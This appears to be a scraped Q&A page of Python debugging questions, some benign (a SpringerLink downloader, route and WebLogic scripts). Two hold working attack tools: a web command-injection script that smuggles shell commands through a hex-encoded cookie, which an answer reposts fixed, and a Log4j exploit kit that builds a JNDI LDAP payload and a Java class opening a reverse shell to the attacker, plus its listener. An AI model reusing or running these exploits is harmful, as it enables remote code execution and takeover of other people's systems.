windows Python Name error - python

I am getting name error for this code.
error message: Traceback (most recent call last):
File "D:\injection.py", line 16, in
opts, args = getopt.getopt(argv, "h", ["help", "target="])
NameError: name 'argv' is not defined
#!/usr/bin/python
import sys
import getopt
import urllib
# define hexEncode function
hexEncode = lambda x:"".join([hex(ord(c))[2:].zfill(2) for c in x])
def main(argv):
# set defaults
target = None
# parse command line options
try:
opts, args = getopt.getopt(argv, "h", ["help", "target="])
except getopt.GetoptError:
usage()
sys.exit(2)
for opt, arg in opts:
if opt in ("-h", "--help"):
usage()
sys.exit()
elif opt in ("--target"):
target = arg
if target is None:
target = raw_input("Enter target (hostname or IP): ")
url = "http://" + target + "/cgi-bin/show/landing"
command = raw_input("Enter command to inject: ")
encodedCommand = hexEncode("' .; " + command + ";'")
# uncomment the hacky line below if you want stderr output in the response
#encodedCommand = hexEncode("' .; " + command + "&> /tmp/a; cat /tmp/a;'")
opener = urllib.build_opener()
opener.addheaders.append(('Cookie', 'access_token=' + encodedCommand))
response = opener.open(url)
content = response.read()
print ("-----------------------------------------------------")
print ("GET " + url)
print ("Cookie: access_token=" + encodedCommand)
print ("-----------------------------------------------------")
print (content)
def usage():
print ("Usage: web-command-injection.py [options] ...")
print ("Configuration:")
print (" --target=<hostname or IP> Sets the target host.")
print ("Miscellaneous:")
print (" -h Print usage options.")
print ("\n")
if __name__ == "__main__":
main(sys.argv[1:])
Can anyone help me fix the problem.this code works flawless in linux but not in windows

There are couple of indentation errors. Try this,
# define hexEncode function
hexEncode = lambda x:"".join([hex(ord(c))[2:].zfill(2) for c in x])
def main(argv):
# set defaults
target = None
# parse command line options
try:
opts, args = getopt.getopt(argv, "h", ["help", "target="])
except getopt.GetoptError:
usage()
sys.exit(2)
for opt, arg in opts:
if opt in ("-h", "--help"):
usage()
sys.exit()
elif opt in ("--target"):
target = arg
if target is None:
target = raw_input("Enter target (hostname or IP): ")
url = "http://" + target + "/cgi-bin/show/landing"
command = raw_input("Enter command to inject: ")
encodedCommand = hexEncode("' .; " + command + ";'")
# uncomment the hacky line below if you want stderr output in the response
#encodedCommand = hexEncode("' .; " + command + "&> /tmp/a; cat /tmp/a;'")
opener = urllib.build_opener()
opener.addheaders.append(('Cookie', 'access_token=' + encodedCommand))
response = opener.open(url)
content = response.read()
print ("-----------------------------------------------------")
print ("GET " + url)
print ("Cookie: access_token=" + encodedCommand)
print ("-----------------------------------------------------")
print (content)
def usage():
print ("Usage: web-command-injection.py [options] ...")
print ("Configuration:")
print (" --target=<hostname or IP> Sets the target host.")
print ("Miscellaneous:")
print (" -h Print usage options.")
print ("\n")
if __name__ == "__main__":
main(sys.argv[1:])

Related

Python server does not show output correctly

for a university project I am testing the log4j vulnerability. To do this, I use a python server that connects to the java client by creating a reverse shell.
Everything works except the output to server which is not displayed correctly. Specifically, the server shows the output of two previous inputs and I'm not understanding why.
I'm new to python and java programming so I'm a little confused.
Initial project: https://github.com/KleekEthicalHacking/log4j-exploit
I made some changes and added a python socket to handle the reverse shell.
PS: with netcat it seems to work fine but command with some space non work (ex: cd .. not work)
For run this project i use kali linux (python server) and ubuntu (java webapp). This code does not yet manage clients with windows os
poc.py + exploit class:
import sys
import argparse
from colorama import Fore, init
import subprocess
import multiprocessing
from http.server import HTTPServer, SimpleHTTPRequestHandler
init(autoreset=True)
def listToString(s):
str1 = ""
try:
for ele in s:
str1 += ele
return str1
except Exception as ex:
parser.print_help()
sys.exit()
def payload(userip, webport, lport):
genExploit = (
"""
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {
public Exploit() throws Exception {
String host="%s";
int port=%s;
//String cmd="/bin/sh";
String [] os_specs = GetOperatingSystem();
String os_name = os_specs[0].toString();
String cmd = os_specs[1].toString();
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
so.write(os_name.getBytes("UTF-8"));
while(!s.isClosed()) {
while(pi.available()>0)
so.write(pi.read());
while(pe.available()>0)
so.write(pe.read());
while(si.available()>0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
}
catch (Exception e){
}
};
p.destroy();
s.close();
}
public String [] GetOperatingSystem() throws Exception {
String os = System.getProperty("os.name").toLowerCase();
String [] result = new String[3];
if (os.contains("win")) {
result[0] = "Windows";
result[1] = "cmd.exe";
}
else if (os.contains("nix") || os.contains("nux") || os.contains("aix")) {
result[0] = "Linux";
result[1] = "/bin/sh";
}
return result;
}
}
""") % (userip, lport)
# writing the exploit to Exploit.java file
try:
f = open("Exploit.java", "w")
f.write(genExploit)
f.close()
print(Fore.GREEN + '[+] Exploit java class created success')
except Exception as e:
print(Fore.RED + f'[X] Something went wrong {e.toString()}')
# checkJavaAvailible()
# print(Fore.GREEN + '[+] Setting up LDAP server\n')
# openshellforinjection(lport)
checkJavaAvailible()
print(Fore.GREEN + '[+] Setting up a new shell for RCE\n')
p1 = multiprocessing.Process(target=open_shell_for_injection, args=(lport,))
p1.start()
print(Fore.GREEN + '[+] Setting up LDAP server\n')
p2 = multiprocessing.Process(target=createLdapServer, args=(userip, webport))
p2.start()
# create the LDAP server on new thread
# t1 = threading.Thread(target=createLdapServer, args=(userip, webport))
# t1.start()
# createLdapServer(userip, webport)
# start the web server
print(Fore.GREEN + f"[+] Starting the Web server on port {webport} http://0.0.0.0:{webport}\n")
httpd = HTTPServer(('0.0.0.0', int(webport)), SimpleHTTPRequestHandler)
httpd.serve_forever()
def checkJavaAvailible():
javaver = subprocess.call(['./jdk1.8.0_20/bin/java', '-version'], stderr=subprocess.DEVNULL,
stdout=subprocess.DEVNULL)
if javaver != 0:
print(Fore.RED + '[X] Java is not installed inside the repository ')
sys.exit()
def createLdapServer(userip, lport):
sendme = "${jndi:ldap://%s:1389/a}" % userip
print(Fore.GREEN + "[+] Send me: " + sendme + "\n")
subprocess.run(["./jdk1.8.0_20/bin/javac", "Exploit.java"])
url = "http://{}:{}/#Exploit".format(userip, lport)
subprocess.run(["./jdk1.8.0_20/bin/java", "-cp",
"target/marshalsec-0.0.3-SNAPSHOT-all.jar", "marshalsec.jndi.LDAPRefServer", url])
def open_shell_for_injection(lport):
terminal = subprocess.call(["qterminal", "-e", "python3 -i rce.py --lport " + lport])
# terminal = subprocess.call(["qterminal", "-e", "nc -lvnp " + lport]) #netcat work
if __name__ == "__main__":
try:
parser = argparse.ArgumentParser(description='please enter the values ')
parser.add_argument('--userip', metavar='userip', type=str,
nargs='+', help='Enter IP for LDAPRefServer & Shell')
parser.add_argument('--webport', metavar='webport', type=str,
nargs='+', help='listener port for HTTP port')
parser.add_argument('--lport', metavar='lport', type=str,
nargs='+', help='Netcat Port')
args = parser.parse_args()
payload(listToString(args.userip), listToString(args.webport), listToString(args.lport))
except KeyboardInterrupt:
print(Fore.RED + "\n[X] user interupted the program.")
sys.exit(0)
rce.py:
import argparse
import socket
import sys
from colorama import Fore, init
def listToString(s):
str1 = ""
try:
for ele in s:
str1 += ele
return str1
except Exception as ex:
parser.print_help()
sys.exit()
def socket_for_rce(lport):
print(Fore.GREEN + "[+] Setup Shell for RCE\n")
SERVER_HOST = "0.0.0.0"
SERVER_PORT = int(lport)
BUFFER_SIZE = 8192
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((SERVER_HOST, SERVER_PORT))
s.listen(1)
print(Fore.GREEN + f"Listening as {SERVER_HOST}:{SERVER_PORT}\n")
client_socket, client_address = s.accept()
print(
Fore.GREEN + "(" + Fore.YELLOW + "REMOTE HOST" + Fore.GREEN + ") " + f"{client_address[0]}:{client_address[1]}"
f" --> "
f"Connected! (exit = close connection)\n")
os_target = client_socket.recv(BUFFER_SIZE).decode()
print("OS TARGET: " + Fore.YELLOW + os_target + "\n")
if not os_target:
print(Fore.RED + "[X] No OS detected\n")
folderCommand = "pwd"
folderCommand += "\n"
client_socket.sendall(folderCommand.encode())
path = client_socket.recv(BUFFER_SIZE).decode()
print("path: " + path)
if not path:
print(Fore.RED + "[X] No work folder received\n")
path_text = Fore.GREEN + "(" + Fore.YELLOW + "REMOTE" + Fore.GREEN + ") " + path
while True:
command = input(f"{path_text} > ")
command += "\n"
# if not command.strip():
# continue
if command != "":
if command == "exit":
print(Fore.RED + "\n[X] Connection closed\n")
client_socket.close()
s.close()
break
else:
client_socket.sendall(command.encode())
data = client_socket.recv(BUFFER_SIZE).decode()
print(data)
else:
pass
if __name__ == "__main__":
try:
parser = argparse.ArgumentParser(description='Instruction for usage: ')
parser.add_argument('--lport', metavar='lport', type=str,
nargs='+', help='Rce Port')
args = parser.parse_args()
socket_for_rce(listToString(args.lport))
except KeyboardInterrupt:
print(Fore.RED + "\n[X] User interupted the program.")
sys.exit(0)
Result:
Now works. I added time.sleep(0.2) after each sendall in rce.py

Pythonscript to download whole book from springerlink instead of chapters (or alternative)

springerlink has changed its structure, and now the script doesn't work anymore. With it you should could download all chapters at once instead of all single chapters.
i installed the script and its dependencies with linux.
from here http://milianw.de/code-snippets/take-2-download-script-for-springerlinkcom-ebooks and here https://github.com/milianw/springer_download
#! /usr/bin/env python
# -*- coding: utf-8 -*-
import os
import sys
import getopt
import urllib
import re
import tempfile
import shutil
import subprocess
# Set some kind of User-Agent so we don't get blocked by SpringerLink
class SpringerURLopener(urllib.FancyURLopener):
version = "Mozilla 5.0"
def pdfcat(fileList, bookTitlePath):
if findInPath("pdftk") != False:
command = [findInPath("pdftk")]
command.extend(fileList)
command.extend(["cat", "output", bookTitlePath])
subprocess.Popen(command, shell=False).wait()
elif findInPath("stapler") != False:
command = [findInPath("stapler"), "cat"]
command.extend(fileList)
command.append(bookTitlePath)
subprocess.Popen(command, shell=False).wait()
else:
error("You have to install pdftk (http://www.accesspdf.com/pdftk/) or stapler (http://github.com/hellerbarde/stapler).")
# validate CLI arguments and start downloading
def main(argv):
if not findInPath("iconv"):
error("You have to install iconv.")
#Test if convert is installed
if os.system("convert --version > /dev/null 2>&1")!=0:
error("You have to install the packet ImageMagick in order to use convert")
try:
opts, args = getopt.getopt(argv, "hl:c:n", ["help", "link=", "content=", "no-merge"])
except getopt.GetoptError:
error("Could not parse command line arguments.")
link = ""
hash = ""
merge = True
for opt, arg in opts:
if opt in ("-h", "--help"):
usage()
sys.exit()
elif opt in ("-c", "--content"):
if link != "":
usage()
error("-c and -l arguments are mutually exclusive")
hash = arg
elif opt in ("-l", "--link"):
if hash != "":
usage()
error("-c and -l arguments are mutually exclusive")
match = re.match("(https?://)?(www\.)?springer(link)?.(com|de)/(content|.*book)/(?P<hash>[a-z0-9\-]+)/?(\?[^/]*)?$", arg)
if not match:
usage()
error("Bad link given. See example link.")
hash = match.group("hash")
elif opt in ("-n", "--no-merge"):
merge = False
if hash == "":
usage()
error("Either a link or a hash must be given.")
if merge and not findInPath("pdftk") and not findInPath("stapler"):
error("You have to install pdftk (http://www.accesspdf.com/pdftk/) or stapler (http://github.com/hellerbarde/stapler).")
baseLink = "http://www.springerlink.com/content/" + hash + "/"
link = baseLink + "contents/"
chapters = list()
loader = SpringerURLopener();
curDir = os.getcwd()
bookTitle = ""
coverLink = ""
front_matter = False
while True:
# download page source
try:
print "fetching book information...\n\t%s" % link
page = loader.open(link,"MUD=MP").read()
except IOError, e:
error("Bad link given (%s)" % e)
if re.search(r'403 Forbidden', page):
error("Could not access page: 403 Forbidden error.")
if bookTitle == "":
match = re.search(r'<h1[^<]+class="title">(.+?)(?:<br/>\s*<span class="subtitle">(.+?)</span>\s*)?</h1>', page, re.S)
if not match or match.group(1).strip() == "":
error("Could not evaluate book title - bad link %s" % link)
else:
bookTitle = match.group(1).strip()
# remove tags, e.g. <sub>
bookTitle = re.sub(r'<[^>]*?>', '', bookTitle)
# subtitle
if match and match.group(2) and match.group(2).strip() != "":
bookTitle += " - " + match.group(2).strip()
# edition
#match = re.search(r'<td class="labelName">Edition</td><td class="labelValue">([^<]+)</td>', page)
#if match:
#bookTitle += " " + match.group(1).strip()
## year
#match = re.search(r'<td class="labelName">Copyright</td><td class="labelValue">([^<]+)</td>', page)
#if match:
#bookTitle += " " + match.group(1).strip()
## publisher
#match = re.search(r'<td class="labelName">Publisher</td><td class="labelValue">([^<]+)</td>', page)
#if match:
#bookTitle += " - " + match.group(1).strip()
# coverimage
match = re.search(r'<div class="coverImage" title="Cover Image" style="background-image: url\(/content/([^/]+)/cover-medium\.gif\)">', page)
if match:
coverLink = "http://www.springerlink.com/content/" + match.group(1) + "/cover-large.gif"
bookTitlePath = curDir + "/%s.pdf" % sanitizeFilename(bookTitle)
if bookTitlePath == "":
error("could not transliterate book title %s" % bookTitle)
if os.path.isfile(bookTitlePath):
error("%s already downloaded" % bookTitlePath)
print "\nNow Trying to download book '%s'\n" % bookTitle
#error("foo")
# get chapters
for match in re.finditer('href="([^"]+\.pdf)"', page):
chapterLink = match.group(1)
if chapterLink[:7] == "http://": # skip external links
continue
if re.search(r'front-matter.pdf', chapterLink):
if front_matter:
continue
else:
front_matter = True
if re.search(r'back-matter.pdf', chapterLink) and re.search(r'<a href="([^"#]+)"[^>]*>Next</a>', page):
continue
#skip backmatter if it is in list as second chapter - will be there at the end of the book also
if re.search(r'back-matter.pdf', chapterLink):
if len(chapters)<2:
continue
chapters.append(chapterLink)
# get next page
match = re.search(r'<a href="([^"#]+)"[^>]*>Next</a>', page)
if match:
link = "http://www.springerlink.com" + match.group(1).replace("&", "&")
else:
break
if len(chapters) == 0:
error("No chapters found - bad link?")
print "found %d chapters" % len(chapters)
# setup; set tempDir as working directory
tempDir = tempfile.mkdtemp()
os.chdir(tempDir)
i = 1
fileList = list()
for chapterLink in chapters:
if chapterLink[0] == "/":
chapterLink = "http://www.springerlink.com" + chapterLink
else:
chapterLink = baseLink + chapterLink
chapterLink = re.sub("/[^/]+/\.\.", "", chapterLink)
print "downloading chapter %d/%d" % (i, len(chapters))
localFile, mimeType = geturl(chapterLink, "%d.pdf" % i)
if mimeType.gettype() != "application/pdf":
os.chdir(curDir)
shutil.rmtree(tempDir)
error("downloaded chapter %s has invalid mime type %s - are you allowed to download %s?" % (chapterLink, mimeType.gettype(), bookTitle))
fileList.append(localFile)
i += 1
if coverLink != "":
print "downloading front cover from %s" % coverLink
localFile, mimeType = geturl(coverLink, "frontcover")
if os.system("convert %s %s.pdf" % (localFile, localFile)) == 0:
fileList.insert(0, localFile + ".pdf")
if merge:
print "merging chapters"
if len(fileList) == 1:
shutil.move(fileList[0], bookTitlePath)
else:
pdfcat(fileList, bookTitlePath)
# cleanup
os.chdir(curDir)
shutil.rmtree(tempDir)
print "book %s was successfully downloaded, it was saved to %s" % (bookTitle, bookTitlePath)
log("downloaded %s chapters (%.2fMiB) of %s\n" % (len(chapters), os.path.getsize(bookTitlePath)/2.0**20, bookTitle))
else: #HL: if merge=False
print "book %s was successfully downloaded, unmerged chapters can be found in %s" % (bookTitle, tempDir)
log("downloaded %s chapters of %s\n" % (len(chapters), bookTitle))
sys.exit()
# give a usage message
def usage():
print """Usage:
%s [OPTIONS]
Options:
-h, --help Display this usage message
-l LINK, --link=LINK defines the link of the book you intend to download
-c ISBN, --content=ISBN builds the link from a given ISBN (see below)
-n, --no-merge Only download the chapters but don't merge them into a single PDF.
You have to set exactly one of these options.
LINK:
The link to your the detail page of the ebook of your choice on SpringerLink.
It lists book metadata and has a possibly paginated list of the chapters of the book.
It has the form:
http://www.springerlink.com/content/ISBN/STUFF
Where: ISBN is a string consisting of lower-case, latin chars and numbers.
It alone identifies the book you intent do download.
STUFF is optional and looks like #section=... or similar. It will be stripped.
""" % os.path.basename(sys.argv[0])
# raise an error and quit
def error(msg=""):
if msg != "":
log("ERR: " + msg + "\n")
print "\nERROR: %s\n" % msg
sys.exit(2)
return None
# log to file
def log(msg=""):
logFile = open('springer_download.log', 'a')
logFile.write(msg)
logFile.close()
# based on http://stackoverflow.com/questions/377017/test-if-executable-exists-in-python
def findInPath(prog):
for path in os.environ["PATH"].split(os.pathsep):
exe_file = os.path.join(path, prog)
if os.path.exists(exe_file) and os.access(exe_file, os.X_OK):
return exe_file
return False
# based on http://mail.python.org/pipermail/python-list/2005-April/319818.html
def _reporthook(numblocks, blocksize, filesize, url=None):
#XXX Should handle possible filesize=-1.
try:
percent = min((numblocks*blocksize*100)/filesize, 100)
except:
percent = 100
if numblocks != 0:
sys.stdout.write("\b"*70)
sys.stdout.write("%-66s%3d%%" % (url, percent))
def geturl(url, dst):
downloader = SpringerURLopener()
if sys.stdout.isatty():
response = downloader.retrieve(url, dst,
lambda nb, bs, fs, url=url: _reporthook(nb,bs,fs,url), "MUD=MP")
sys.stdout.write("\n")
else:
response = downloader.retrieve(url, dst, None, "MUD=MP")
return response
def sanitizeFilename(filename):
p1 = subprocess.Popen(["echo", filename], stdout=subprocess.PIPE)
p2 = subprocess.Popen(["iconv", "-f", "UTF-8", "-t" ,"ASCII//TRANSLIT"], stdin=p1.stdout, stdout=subprocess.PIPE)
return re.sub("\s+", "_", p2.communicate()[0].strip().replace("/", "-"))
# start program
if __name__ == "__main__":
main(sys.argv[1:])
# kate: indent-width 4; replace-tabs on;
excpected: it should downlaod the book
actual results: with command ./springer_download.py -c "978-3-662-54804-2" i get ERROR: Could not evaluate book title - bad link http://www.springerlink.com/content/978-3-662-54804-2/contents/
the test
python2 ./springer_download.py -c "978-3-662-54804-2"
does not work either
in the code above the error is in the context
match = re.search(r'<h2 class="MPReader_Profiles_SpringerLink_Content_PrimitiveHeadingControlName">([^<]+)</h2>', page)
if not match or match.group(1).strip() == "":
error("Could not evaluate book title - bad link?")
else:
bookTitle = match.group(1).strip()
print "\nThe book you are trying to download is called '%s'\n" % bookTitle
i would also be happy with alternatives like browser addons or the like. Using the example https://link.springer.com/book/10.1007/978-3-662-54805-9#toc

Why else block in the code giving syntax error even indentation is proper?

I have a code like this but else block is giving invalid syntax. Even though I feel indentation is right ? Could someone please help ?
import subprocess
def ipRouteAddDelToDCNM(addDelRoute, network, prefix, gw):
try:
ha_peer = "sed -n 's/^PEER_ETH0_IP=\\(.*\\)/\\1/p' /root/packaged-files/properties/ha-setup.properties"
peer_ip = subprocess.check_output(ha_peer, shell=True).strip()
ha_role = '/usr/local/cisco/dcm/fm/ha/ha_role.sh'
state = subprocess.check_output(cmd, shell=True)
is_native_ha = getNativeHaStatus()
if is_native_ha == "SUCCESS" and "Active" in state:
#ha_role = '/usr/local/cisco/dcm/fm/ha/ha_role.sh'
#state = subprocess.check_output(cmd, shell=True)
if "Active" in state:
cmd = "route %s -net %s/%s gw %s"%(addDelRoute, network, prefix, gw)
logDHCP(cmd)
os.popen(cmd).read()
if addDelRoute == "add":
if not os.path.exists("/etc/sysconfig/network-scripts/route-eth1"):
with open("/etc/sysconfig/network-scripts/route-eth1","w+") as fw:
routeLine = "%s/%s via %s dev eth1 \n"%(network, prefix, gw)
fw.write(routeLine)
file_transfer = "scp /etc/sysconfig/network-scripts/route-eth1 root#%s:/etc/sysconfig/network-scripts/route-eth1"%(peer_ip)
file_copy = subprocess.check_output(file_transfer, shell=True)
some_format = "/etc/sysconfig/network-scripts/ifup-routes eth1"
some = subprocess.check_output(some_format, shell=True)
else:
with open("/etc/sysconfig/network-scripts/route-eth1","a") as fw:
routeLine = "%s/%s via %s dev eth1 \n"%(network, prefix, gw)
fw.write(routeLine)
file_transfer = "scp /etc/sysconfig/network-scripts/route-eth1 root#%s:/etc/sysconfig/network-scripts/route-eth1"%(peer_ip)
file_copy = subprocess.check_output(file_transfer, shell=True)
some_format = "/etc/sysconfig/network-scripts/ifup-routes eth1"
some = subprocess.check_output(some_format, shell=True)
elif addDelRoute == "del":
with open("/etc/sysconfig/network-scripts/route-eth1","r+") as f:
lines = f.readlines()
routeLine = "%s/%s via %s dev eth1"%(network, prefix, gw)
f.seek(0)
for line in lines:
if routeLine not in line:
f.write(line)
f.truncate()
file_transfer = "scp /etc/sysconfig/network-scripts/route-eth1 root#%s:/etc/sysconfig/network-scripts/route-eth1"%(peer_ip)
file_copy = subprocess.check_output(file_transfer, shell=True)
some_format = "/etc/sysconfig/network-scripts/ifup-routes eth1"
some = subprocess.check_output(some_format, shell=True)
except:
pass
Python requires that if/else is indented like this:
if ...:
...
else:
...
Your code looks like this:
if ... :
...
else:
...
Your else block is not indented properly, it's obvious, as just above, on the same indentation level, you have a statement that is not an if.
import subprocess
def ipRouteAddDelToDCNM(addDelRoute, network, prefix, gw):
try:
ha_peer = "sed -n 's/^PEER_ETH0_IP=\\(.*\\)/\\1/p' /root/packaged-files/properties/ha-setup.properties"
peer_ip = subprocess.check_output(ha_peer, shell=True).strip()
ha_role = '/usr/local/cisco/dcm/fm/ha/ha_role.sh'
state = subprocess.check_output(cmd, shell=True)
is_native_ha = getNativeHaStatus()
if is_native_ha == "SUCCESS" and "Active" in state:
#ha_role = '/usr/local/cisco/dcm/fm/ha/ha_role.sh'
#state = subprocess.check_output(cmd, shell=True)
if "Active" in state:
cmd = "route %s -net %s/%s gw %s"%(addDelRoute, network, prefix, gw)
logDHCP(cmd)
os.popen(cmd).read()
if addDelRoute == "add":
if not os.path.exists("/etc/sysconfig/network-scripts/route-eth1"):
with open("/etc/sysconfig/network-scripts/route-eth1","w+") as fw:
routeLine = "%s/%s via %s dev eth1 \n"%(network, prefix, gw)
fw.write(routeLine)
file_transfer = "scp /etc/sysconfig/network-scripts/route-eth1 root#%s:/etc/sysconfig/network-scripts/route-eth1"%(peer_ip)
file_copy = subprocess.check_output(file_transfer, shell=True)
some_format = "/etc/sysconfig/network-scripts/ifup-routes eth1"
some = subprocess.check_output(some_format, shell=True)
else: **<--- Should be reindented**
with open("/etc/sysconfig/network-scripts/route-eth1","a") as fw:
routeLine = "%s/%s via %s dev eth1 \n"%(network, prefix, gw)
fw.write(routeLine)
file_transfer = "scp /etc/sysconfig/network-scripts/route-eth1 root#%s:/etc/sysconfig/network-scripts/route-eth1"%(peer_ip)
file_copy = subprocess.check_output(file_transfer, shell=True)
some_format = "/etc/sysconfig/network-scripts/ifup-routes eth1"
some = subprocess.check_output(some_format, shell=True)
elif addDelRoute == "del":
with open("/etc/sysconfig/network-scripts/route-eth1","r+") as f:
lines = f.readlines()
routeLine = "%s/%s via %s dev eth1"%(network, prefix, gw)
f.seek(0)
for line in lines:
if routeLine not in line:
f.write(line)
f.truncate()
file_transfer = "scp /etc/sysconfig/network-scripts/route-eth1 root#%s:/etc/sysconfig/network-scripts/route-eth1"%(peer_ip)
file_copy = subprocess.check_output(file_transfer, shell=True)
some_format = "/etc/sysconfig/network-scripts/ifup-routes eth1"
some = subprocess.check_output(some_format, shell=True)
except:
pass

Python script won't run using path to file

If I run "python /home/pi/temp/getTemp.py" from the terminal command line I get
"Error, serial port '' does not exist!" If I cd to the temp directory and run "python getTemp.py" it runs fine. Can anyone tell me why?
#!/usr/bin/env python
import os
import sys
import socket
import datetime
import subprocess
import signal
port = "/dev/ttyUSB0"
tlog = '-o%R,%.4C'
hlog = '-HID:%R,H:%h'
clog = '-OSensor %s C: %.2C'
def logStuff(data):
with open("/home/pi/temp/templog.txt", "a") as log_file:
log_file.write(data + '\n')
def main():
try:
output = subprocess.check_output(['/usr/bin/digitemp_DS9097U', '-q', '-a'])
for line in output.split('\n'):
if len(line) == 0:
logStuff("len line is 0")
continue
if 'Error' in line:
logStuff("error in output")
sys.exit()
line = line.replace('"','')
if line.count(',') == 1:
(romid, temp) = line.split(',')
poll = datetime.datetime.now().strftime("%I:%M:%S %p on %d-%B-%y")
content =(romid + "," + poll + "," + temp)
print content
return content
except subprocess.CalledProcessError, e:
print "digitemp error:\n", e.output
except Exception as e:
logStuff('main() error: %s' %e)
os.kill(os.getpid(), signal.SIGKILL)
if __name__ == "__main__":
main()
It probably cannot find the configuration file, which is normally stored in ~/.digitemprc when you run it with -i to initialize the network. If it was created in a different directory you need to always tell digitemp where to find it by passing -c

<BEA-050001> WLContext.close() was called in a different thread than the one in which it was created

I have written wlst script to achieve the below tasks recursively
Stopping the applications
Undeploying the applications
Deploying the appliactions
When ever i execute the script, Either undeploy or Deploy happens only for 1 application. For other applications it fails with below error message.Can you please help me to fix the issue?
File "<iostream>", line 1116, in domainConfig
File "<iostream>", line 1848, in raiseWLSTException
WLSTException: Error cding to the MBean
<Feb 20, 2014 11:28:44 AM IST> <Warning> <JNDI> <BEA-050001> <WLContext.close() was called in a different thread than the one in which it was created.>
WLST Script what i have written
import sys
import os
import getopt
#========================
#Usage Section
#========================
def usage():
print "Usage:"
print "java weblogic.WLST manageApplication.py -u username -p password -a adminUrl [<hostname>:<port>] -t deploymentTarget\n"
print "java weblogic.WLST manageApplication.py -u weblogic -p weblogic1 -a t3://localhost:7001 -t AdminServer\n"
sys.exit(2)
#========================
#Connect To Domain
#========================
def connectToDomain():
try:
connect('weblogic','weblogic1','t3://localhost:7001')
print 'Successfully connected to the domain\n'
except:
print 'The domain is unreacheable. Please try again\n'
exit()
#========================
#Application undeployment Section
#========================
def undeployApplication():
cd ('AppDeployments')
myapps=cmo.getAppDeployments()
for appName in myapps:
domainConfig()
cd ('/AppDeployments/'+appName.getName()+'/Targets')
mytargets = ls(returnMap='true')
domainRuntime()
cd('AppRuntimeStateRuntime')
cd('AppRuntimeStateRuntime')
for targetinst in mytargets:
curstate4=cmo.getCurrentState(appName.getName(),targetinst)
print '-----------', curstate4, '-----------', appName.getName()
deploymentName=appName.getName()
deploymentTarget=targetinst
print deploymentName
print deploymentTarget
stopApplication(deploymentName, targets=deploymentTarget)
undeploy(deploymentName, targets=deploymentTarget)
#========================
#Input Values Validation Section
#========================
if __name__=='__main__' or __name__== 'main':
try:
opts, args = getopt.getopt(sys.argv[1:], "u:p:a:t:", ["username=", "password=", "adminUrl=", "deploymentTarget="])
except getopt.GetoptError, err:
print str(err)
username = ''
password = ''
adminUrl = ''
deploymentTarget = ''
for opt, arg in opts:
if opt == "-u":
username = arg
elif opt == "-p":
password = arg
elif opt == "-a":
adminUrl = arg
elif opt == "-t":
deploymentTarget = arg
if username == "":
print "Missing \"-u username\" parameter.\n"
usage()
elif password == "":
print "Missing \"-p password\" parameter.\n"
usage()
elif adminUrl == "":
print "Missing \"-a adminUrl\" parameter.\n"
usage()
elif deploymentTarget == "":
print "Missing \"-c deploymentTarget\" parameter.\n"
usage()
#========================
#Main Control Block For Operations
#========================
def deployMain():
for line in open("c:\\wlst\\applicationsList.txt"):
temp_line = line
fields = temp_line.strip().split(",")
print(fields[0]+" "+fields[1])
deploymentName = fields[0]
deploymentFile = fields[1]
print deploymentName+" "+deploymentFile+" "+deploymentTarget+"/n"
deploy(deploymentName,deploymentFile,targets=deploymentTarget)
#==================
#main block
#=====================
connectToDomain()
undeployApplication()
deployMain()
disconnect()
WLContext.close() is probably not the real problem (it's even in some of the Oracle examples). What error messages do you see when deploy and undeploy are being called?
You should see something like:
Deploying application from /tmp/something/myapp.ear
Current Status of your Deployment:
Deployment command type: deploy
Deployment State : completed
Deployment Message : no message
I also see that you never call activate() at the very end of your script so that could be the issue if you are running in production mode.
Try adding the following at the very end of your script after deployMain():
save()
status = activate(300000, "block='true'")
status.getStatusByServer()
status.getDetails()
UPDATE:
The activation error occurs because you have not called edit() before the undeploy:
# Get edit/lock for upcoming changes
edit()
startEdit(120000, 120000, 'false')
undeployApplication()
I think you will be better off greatly simplifying your undeploy. You don't need to go through the complexity of determining targets because you are already undeploying from ALL targets. Try this instead and see if you can make progress:
cd ('AppDeployments')
myapps=cmo.getAppDeployments()
for appName in myapps:
try:
appPath = "/AppDeployments/" + appName.getName()
cd(appPath)
print "Stopping deployment " + appName.getName()
stopApplication(appName.getName())
print "Undeploying " + appName.getName()
undeploy(appName.getName(), timeout=60000)
except Exception , e:
print "Deployment " + appName.getName() + " removal failed."

Categories